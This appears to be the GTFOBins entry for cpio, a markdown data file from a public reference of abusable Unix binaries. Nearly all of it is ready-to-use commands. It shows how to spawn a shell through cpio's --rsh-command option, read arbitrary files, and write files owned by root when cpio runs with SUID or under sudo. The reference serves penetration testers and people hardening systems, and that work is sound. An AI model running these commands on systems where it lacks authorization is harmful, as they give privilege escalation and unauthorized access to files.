GTFOBins.github.io/_gtfobins/cpio.md
2021-03-07 12:39:34 +01:00

1.7 KiB

functions
shell file-read file-write suid sudo
code
echo '/bin/sh </dev/tty >/dev/tty' >localhost cpio -o --rsh-command /bin/sh -F localhost:
description code
The content of the file is printed to standard output, between the cpio archive format header and footer. LFILE=file_to_read echo "$LFILE" | cpio -o
description code
The whole directory structure is copied to `$TF`. LFILE=file_to_read TF=$(mktemp -d) echo "$LFILE" | cpio -dp $TF cat "$TF/$LFILE"
description code
Copies `$LFILE` to the `$LDIR` directory. LFILE=file_to_write LDIR=where_to_write echo DATA >$LFILE echo $LFILE | cpio -up $LDIR
description code
The whole directory structure is copied to `$TF`. LFILE=file_to_read TF=$(mktemp -d) echo "$LFILE" | ./cpio -R $UID -dp $TF cat "$TF/$LFILE"
description code
Copies `$LFILE` to the `$LDIR` directory. LFILE=file_to_write LDIR=where_to_write echo DATA >$LFILE echo $LFILE | ./cpio -R 0:0 -p $LDIR
code
echo '/bin/sh </dev/tty >/dev/tty' >localhost sudo cpio -o --rsh-command /bin/sh -F localhost:
description code
The whole directory structure is copied to `$TF`. LFILE=file_to_read TF=$(mktemp -d) echo "$LFILE" | sudo cpio -R $UID -dp $TF cat "$TF/$LFILE"
description code
Copies `$LFILE` to the `$LDIR` directory. LFILE=file_to_write LDIR=where_to_write echo DATA >$LFILE echo $LFILE | sudo cpio -R 0:0 -p $LDIR